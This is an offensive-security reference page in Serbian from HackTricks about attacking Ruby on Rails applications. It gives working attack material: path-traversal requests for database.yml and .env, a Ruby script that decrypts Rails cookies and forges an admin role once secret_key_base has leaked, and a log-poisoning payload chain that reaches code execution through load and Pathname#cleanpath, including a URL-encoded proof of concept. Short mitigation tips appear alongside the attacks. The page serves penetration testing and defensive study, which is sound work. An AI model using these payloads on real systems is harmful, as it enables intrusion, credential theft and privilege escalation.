Ruby trikovi

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Otprema fajla do RCE

Kao što je objašnjeno u this article, otpremanje .rb fajla u osetljive direktorijume kao što su config/initializers/ može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.

Saveti:

  • Druga mesta koja se izvršavaju pri startu aplikacije (boot/eager-load) su takođe rizična ako su upisiva (npr. config/initializers/ je klasičan primer). Ako nađete arbitraran file upload koji završi bilo gde pod config/ i kasnije se eval/require-uje, možete dobiti RCE pri pokretanju.
  • Tražite dev/staging buildove koji kopiraju user-controlled fajlove u container image gde će ih Rails učitati pri startu.

Active Storage image transformation → command execution (CVE-2025-24293)

Kada aplikacija koristi Active Storage sa image_processing + mini_magick, i prosleđuje untrusted parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformation metode greškom bile dozvoljene po defaultu.

  • Vulnerable pattern izgleda ovako:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

gde su params[:t] i/ili params[:v] pod kontrolom napadača.

  • Šta probati tokom testiranja

  • Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija, ili arbitrarne ImageMagick argumente.

  • Fuzz params[:t] i params[:v] za sumnjive greške ili side-effecte izvršavanja. Ako možete uticati na ime metode ili poslati raw argumente koji dospeju do MiniMagick-a, možete dobiti code exec na hostu koji obrađuje slike.

  • Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration putem konstruisanih ImageMagick operacija.

  • Rešavanje/detekcija

  • Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + image_processing + mini_magick i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučite nadogradnju i primenu striktnih allowlist-a za metode/params i hardenovan ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije rack pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko Rack::Static kada :root nije setovan/je pogrešno konfigurisan. Encodovana traversal u PATH_INFO može izložiti fajlove iz radnog direktorijuma procesa ili neočekivanog root-a.

  • Tražite aplikacije koje mount-uju Rack::Static u config.ru ili middleware stack-ovima. Probajte encodovane traversale protiv statičkih putanja, na primer:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Prilagodite prefix da odgovara konfigurisanom urls:. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka bilo čemu pod razrešenim :root.

  • Ublažavanje: nadogradite Rack; osigurajte da :root pokazuje samo na direktorijum javnih fajlova i da je eksplicitno setovan.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz secret_key_base. Ako ta vrednost bude leaked (npr. u repo-u, logovima ili pogrešno konfigurisanih credentials), obično možete dekriptovati, modifikovati i ponovo enkriptovati cookies. Ovo često vodi ka authz bypass-u ako aplikacija čuva ulogu, user ID-jeve ili feature flag-ove u cookies.

Minimalni Ruby za dekriptovanje i ponovnu enkripciju modernih cookies (AES-256-GCM, default u novijim Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Napomene:

  • Starije aplikacije mogu koristiti AES-256-CBC i salts encrypted cookie / signed encrypted cookie, ili JSON/Marshal serializers. Prilagodite salts, cipher i serializer u skladu sa tim.
  • U slučaju kompromitovanja/pri proceni, rotirajte secret_key_base da biste invalidirali sve postojeće cookies.

See also (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Kada aplikacija (često jednostavan Rack/Sinatra/Rails endpoint) ispunjava oba uslova:

  • zapisuje string koji kontroliše korisnik doslovno, i
  • kasnije load-uje fajl čija je putanja izvedena iz istog stringa (nakon Pathname#cleanpath),

Često možete postići izvršavanje koda na daljinu (RCE) tako što ćete zatrovati log i potom prisiliti aplikaciju da load-uje log fajl. Ključne primitive:

  • Ruby load evaluira sadržaj ciljnog fajla kao Ruby bez obzira na ekstenziju fajla. Bilo koji čitljiv tekstualni fajl čiji sadržaj parsira kao Ruby biće izvršen.
  • Pathname#cleanpath sabija . i .. segmente bez pristupanja filesystem-u, omogućavajući path smuggling: attacker-controlled junk može biti dodan ispred radi logovanja dok očišćena putanja i dalje rešava na željeni fajl za izvršenje (npr. ../logs/error.log).

Minimalni ranjivi obrazac

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Zašto log može sadržati validan Ruby

Logger zapisuje prefiksne linije kao:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

U Ruby, # započinje komentar, a 9/2/2025 je samo aritmetika. Da biste ubacili validan Ruby kod morate:

  • Počnite svoj payload na novom redu tako da ga # u INFO liniji ne komentariše; pošaljite vodeći novi red (\n ili %0A).
  • Zatvorite viseći [ koji je uveden u INFO liniji. Uobičajeni trik je da počnete sa ] i opciono zadovoljite parser sa ][0]=1.
  • Zatim postavite proizvoljan Ruby kod (npr. system(...)).

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Krijumčarenje jedne niske koja istovremeno loguje kod i rešava se u putanju log fajla

Želimo jednu nisku kontrolisanu od strane napadača koja:

  • kada se zabeleži u raw obliku, sadrži naš Ruby payload, i
  • kada se prosledi kroz Pathname.new(<input>).cleanpath, rešava se u ../logs/error.log, tako da naredni load izvrši upravo zatrovani log fajl.

Pathname#cleanpath ignoriše scheme i kolapsira traversal komponente, tako da sledeće radi:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • # pre :// osigurava da Ruby ignoriše ostatak kada se log izvrši, dok cleanpath i dalje svodi sufiks na ../logs/error.log.
  • Početni newline izlazi iz INFO linije; ] zatvara viseću zagradu; ][0]=1 zadovoljava parser.

End-to-end eksploatacija

  1. Pošaljite sledeće kao ime backup skripta (ako je potrebno URL-enkodujte prvi newline kao %0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Aplikacija zapiše vaš sirovi string u logs/error.log.
  2. Aplikacija izračuna cleanpath koji se rešava na ../logs/error.log i poziva load na njemu.
  3. Ruby izvršava kod koji ste ubrizgali u log.

Da biste eksfiltrirali fajl u okruženju sličnom CTF-u:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (prvi karakter je novi red):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks